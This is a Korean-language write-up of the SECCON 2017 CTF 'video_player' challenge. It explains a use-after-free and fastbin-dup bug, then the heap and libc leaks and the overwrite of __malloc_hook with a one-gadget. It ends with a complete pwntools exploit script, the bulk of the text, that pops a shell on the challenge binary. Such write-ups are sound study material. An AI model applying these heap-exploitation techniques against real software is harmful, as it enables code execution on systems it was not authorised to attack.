SECCON 2017 video_player
#C++문제다.
처음 문제풀때 main시작부분에서 랜덤 사이즈로 257개 청크를 만드는데 free되어있는거 마음에 안 든다고 for문으로 막 할당을 시켜줘서 없애버렸다..
덕분에 for문이 많이 돌아가는바람에 서버에서 쉘은 안 따진다 ㅠㅠㅠㅠㅠ
물론 for문 제거하고 그에 맞게 heap 오프셋 다시 구하면 따질것이다. (너무 귀찮다 ㄷㄷ..)
로컬에서 LD_PRELOAD설정하고는 바로 따진다.
취약점은 video edit부분에서 생긴다.
새로 할당을 해주고 그것을 구조체 포인터에 넣고 free를 시키고 NULL로 덮지않고 입력을 받는다. fastbin dup !
audio같은 부분은 제대로 되어있는것을 볼수있다. (free를 시키고 값을 넣는다)
출력은 video play를 이용하여서 릭을 할 수 있는데 play는 자기가 입력한 개수를 포인터에넣고 그 개수만큼 출력시키는데 위 부분에서 그 카운트를 0으로 덮지않아서 메모리 릭 취약점이 생긴다.
uaf를 이용하여서 main_arena 릭을 할려고했는데 잘 안된다 .. 그래서 일단 힙 주소만 릭을 해주고 아까 edit에서 free를 했지만
NULL로 덮지 않았기때문에 다시 free를 해줄수있다.
free를 해주면 위에서 uaf로 할당된 포인터가 같이 free가된다
audio name ptr == uaf struct ptr
그곳에 다시 UAF를 해주면 vtable, name, size 등등 구조체를 다 덮을수있다.
그래서 name부분에 got를 넣어주고 xor 역연산을 해주면 라이브러리 릭을해주는식으로 했다. (역연산 한줄 .. )
이렇게 풀다보면 vtable을 덮을수있는 시나리오가 생기는데 vtable함수 모두를 one_shot으로 덮고 했는데 전부 다 Can't open 오류가 떠서 할수없이 fastbin dup를 이용하여서 malloc_hook을 덮었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 | from pwn import * p=process(["./video_player"],env={'LD_RELOAD':'./libc.so.6'}) #p=remote("video_player.pwn.seccon.jp",7777) elf=ELF("./video_player") libc = ELF("./libc.so.6") p.sendlineafter('?','AAAA') def add(what): p.sendlineafter('>>> ','1') p.sendlineafter('>>> ',str(what)) def epr(idx,what): p.sendlineafter('>>> ',str(what)) p.sendlineafter('index : ',str(idx)) def senddata(data): p.sendlineafter(': ',data) for i in range(2,256): add(2) #1 senddata('B') print p.recvuntil(': ') p.send(chr(i)) senddata('B') senddata('BBBBBB') for i in range(2,256): add(2) senddata('C') print p.recvuntil(': ') p.send(chr(i)) senddata('C') senddata('CCCCCC') for i in range(2,256): add(2) senddata('D') print p.recvuntil(': ') p.send(chr(i)) senddata('D') senddata('DDDDDD') for i in range(2,256): add(2) senddata('E') print p.recvuntil(': ') p.send('X') senddata('E') senddata('EEEEEE') add(1) #1016 senddata('E') p.recv(1024) p.send('X') senddata('E'*50) senddata('EEEE') epr(1016,2) p.recvuntil(': ') p.send('E') print p.recvuntil(': ') p.send('E') p.recvuntil(': ') p.send('X') senddata("\x00"*8+"E"*50) senddata("EEEE") add(1) #1017 senddata('E') p.recv(1024) p.send('X') senddata('E'*50) senddata('EEEE') epr(1016,3) p.recvuntil('...\n') heap = p.recvuntil('\n').split('\n')[0] a = "" for i in range(57): a += chr(ord(heap[i]) ^ 0xcc) a = a.split('\x2f')[1] a = a[3:] a = a[0:4] heap = u32(a) - 0x70 print hex(heap) epr(1016,4) #1017 ptr == 1016_nameptr add(2) senddata('A') #1018 p.recv(1024) p.send('X') fake_vtable = p64(0x401842) fake_vtable += p64(0x4019f6) fake_vtable += p64(0x401bc6) fake_vtable += p64(0x401c3c) fake_vtable_address = heap + 1176 - 0x8 print hex(fake_vtable_address) fake_ptr = p64(fake_vtable_address) fake_ptr += "A"*8 #bitrate 8 fake_ptr += "B"*4 #fps 12 fake_ptr += p32(0x8) #16 fake_ptr += p64(0x604050) #20 fake_ptr += "C"*13 senddata(fake_ptr) senddata(fake_vtable) epr(1017,3) #setvbuf libc_got xor print p.recvuntil('...\n') read = p.recvuntil('\n').split('\n')[0] a = "" for i in range(0,0x8): a += chr(ord(read[i]) ^ 0xcc) read = u64(a) libc_base = read - libc.symbols['read']#0xf7220 malloc_hook = libc_base + libc.symbols['__malloc_hook'] one_shot = libc_base + 0x4526a print hex(read) print hex(libc_base) print hex(one_shot) print hex(malloc_hook) add(1) #1019 senddata('A') senddata('A') p.recv(1024) p.send(chr(0x60)) #96 size senddata("AAAA") #data senddata("BBBB") #description epr(1019,2) senddata('A') senddata('A') p.recv(1024) p.send(chr(0x60)) senddata(p64(malloc_hook-0x23)) senddata("BBBB") add(1) #1020 senddata('A') senddata('A') p.recv(1024) p.send(chr(0x60)) #96 size senddata("AAAA") #data senddata("BBBB") #description add(1) #1021 senddata('A') senddata('A') p.recv(1024) p.send(chr(0x60)) #96 size senddata("A"*0x13+p64(one_shot)) #data senddata("BBBB") #description add(1) sleep(1) p.interactive() | cs |